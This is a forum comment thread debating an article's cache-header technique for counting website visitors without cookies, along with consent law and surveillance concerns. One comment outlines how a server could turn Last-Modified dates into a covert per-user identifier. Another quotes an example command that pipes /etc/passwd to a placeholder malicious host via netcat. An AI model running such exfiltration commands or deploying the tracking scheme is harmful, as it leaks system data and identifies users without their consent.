We tend to object to people considering it normal to track us. Regardless of means.
Respectfully i feel like this would be like seeing an example of css turning a page blue and claiming the technique is useless for turning the page red because that is not the specific example used.
Technique does not mean precisely what the person was doing just their method. Their technique has very obvious applications to user tracking.
Ignoring risks do not make them go away, it just makes it easier for bad people to exploit them.
The person standing outside Costco is counting people by giving them a colored sticker when they walk through the door. If they show up already having one, the counter issues a different color. Who has the stickers is unknown; only the number of stickers distributed in each color is known.
As has been said, this is not to say the technique couldn't be used for nefarious purposes. In this case, it's not, though.
In addition, your comment shows a severe lack of imagination. Suppose I'm a malicious server who wishes to track users.
* For each new user, select a random "late-modified" date. Now, I can clearly distinguish between multiple different users, because "1985-01-01T00:00:10" is probably the 10th visit from whoever was given "1985-01-01T00:00:00" on their first visit.
* If I have too many users for the above approach to uniquely identify a person, add more cached items. With HTTP/2, both HTTP requests would use the same TCP connection, so I can correlate the requests together.
And, bam. That goes from "useless for trying to distinguish individuals, much less identify them" to a unique identifier stored in the cache invalidation dates.
"Evil tracking companies will do evil things with any protocol features you give them" is already well known and there's not much to say about it that hasn't been said. What OP is actually doing is clever and new to me.
If I post a privilege escalation exploit that allows me to execute "cat /etc/sudoers", and somebody points out that it could also be used to execute "cat /etc/passwd | netcat malicious-remote-server.com", that's an obvious extension of the same technique. This is the same, where the same technique may be used for more intrusive attacks than are performed in the initial proof of concept.
I'm not saying the technique isn't similar: I just object to people dogpiling on OP because other people can and do abuse the same header in nefarious ways. It's not constructive, just a pointless attack on someone who's actually trying to improve privacy.
However, that is only sufficient if you already trust the operator of the server to maintain that same implementation. That may work for some threat models, such as a website that is currently run by a trusted individual that may later be bought by a malicious actor, but it isn't sufficient in all cases. Across the entire ecosystem, there's a sequence of questions that needs to be asked.
1. How would a non-malicious actor implement the proposed system?
2. What is the minimal amount of information that must be provided for a non-malicious actor to benefit from the proposed system?
3. What could a malicious actor do with that minimal amount of information?
4. If a malicious actor could use this information, are there additional steps the user can take to mitigate those effects?
Together, these questions help to predict the effects of the proposed implementation becoming the standard. Applying it to this article:
1. As described in the original post.
2. The browser must cache files according to the cache policy requested, and the browser provides accurate information about its cache for subsequent requests.
3. Answered in previous comments, that malicious actors could use this to reproduce the same information as is stored in cookies.
4. I'm not sure yet, but I'm picturing an approach where the "if-modified-since" header is deliberately varied for some requests, and abnormal results cause the caching policy of that website to be ignored as untrustworthy.
When people try to figure out what malicious acts could be done, it's moving the conversation from the first two questions and toward the last two questions. It isn't malicious, or reading into the original poster's intentions, but is an attempt to predict what malicious actions will eventually occur, and to implement mitigations as soon as possible.
TFA describes a way to provide basic analytics in a way that completely respects the user's privacy. That's a good thing.
You need some kind of identifier to differentiate between different sessions, and the moment you generate that ID, using whatever way, you are tracking user.
Place a cookie HAS_BEEN_ON_SITE=true as soon as someone loads any page.
Voila, your server can now distinguish between users who've been to your site and users who haven't, without being able to tell recurring users apart from each other.
The implementation in the article is fancier, because the cache control headers allow distinguishing this on a page-by-page basis, but it's the same general idea. Don't give the client an ID, just ask the client to tell you if it's been there before.
Only ones that you don't need are ones that are expected functionality of the site, like you don't need to put it for shopping basket
That's just not a real problem to solve. If you don't want to track users just giving each one unique ID is not a problem if you don't store them for future lookup.
The fact remains that from client perspective client have no way of telling whether you track them or not so you can't really prove to user you're not tracking them.
However, it does look like the ePrivacy Regulation will clear this specific case up, at least according to Wikipedia:
> The proposal also clarifies that no consent is needed for non-privacy-intrusive cookies improving internet experience (like to remember shopping cart history) or cookies used by a website to count the number of visitors.
In my experience the stalky behaviour doesn't improve the advertising relevance from my PoV, so the fact it means that all that derived information, some of it definitely PII, is out there so should anyone be able to hack into it they could use it for fraudulent purposes (identity theft, spear-fishing my contacts, …), makes the situation lose-lose for me.
It is worse for other people, as they have information that advertisers like to derive that might be extra sensitive. Being white, male, cis, middle-class, ete, with a life not interesting enough for there to be much to convincingly blackmail or threaten me about, living in western Europe, I'm pretty safe, but this can't be said for others especially in certain parts of the world (scarily religious ruled countries with bad records on individual rights, like Qatar and America to give two examples).
If one is worried about blackmail or violence, especially from a government, then one should take precautions beyond complaining about the prevalence of browser cookies. Modern life, carrying a mobile internet device with GPS service, using a credit card, and going to places with security cameras, presents a variety of surveillance methods.
> especially from a government
Where I to live in a regime like I mentioned above, I'd be as worried about vigilantism as much as government action.
> presents a variety of surveillance methods.
Fair point, but I see a difference between choosing to take a risk and companies trying to follow me around whether I want them to it not. Maybe it is my monkey brain that grew up noticeably before such tech was ubiquitous, said brain having been taught that being followed was at best a bit creepy!
To fight the problems posed by ubiquitous corporate and government surveillance, I suggest ubiquitous public surveillance. Like streamers do, but everywhere, all the time, publicly broadcasted. If I get disappeared, at least it'll be televised.
> vigilantism
There's a difference between being embedded in a supportive community, afraid of violence from outsiders, and being embedded in an antagonistic society, afraid of violence from insiders. In the former, ubiquitous public surveillance might help. In the latter, I think there is nothing to do but emigrate.
Ideally, we'd have independent consumer protection entities, either government or private (e.g. German Stiftung Warentest), that would get products from companies to rank and test, so consumers could make actually informed decisions instead of being lured by hyped up advertising claims.
I think any ban like that would have a "I know it when I see it" standard, which isn't wonderful.
There is a separate question, of whether consent is implied. If the identifying information is required to provide the user with a service they requested (e.g. a cookie for their online shopping cart), then consent is implied; no need to ask.
When you try to cram a list of 500 "legitimate interests" down my throat, I will consider no interest as legitimate.
No matter what your goals are, you're in an industry that has zero trust these days.
The method described in the article collects no personal data, collects no identifiable data, and is objectively more user-respecting than Google Analytics. But the behavior by people like you will help make sure that these alternatives don't gain traction and Google maintains their monopoly.
All a site has to do is include analytics in its server-side library. And that’s it. Doesnt even need CNAME cloaking. It can send the analytics anywhere.
The thing ITP and others try to stop is tracking users ACROSS sites.
But if you use single-sign-on with FB or any other service, they can get your public photo, name and just find you on faceboon thru some search engine that spidered all profiles.
So if you really want to be anonymous, stop using the single sign on and reusing passwords etc.
(I don't have a horse in this battle - my personal website doesn't have analytics at all.)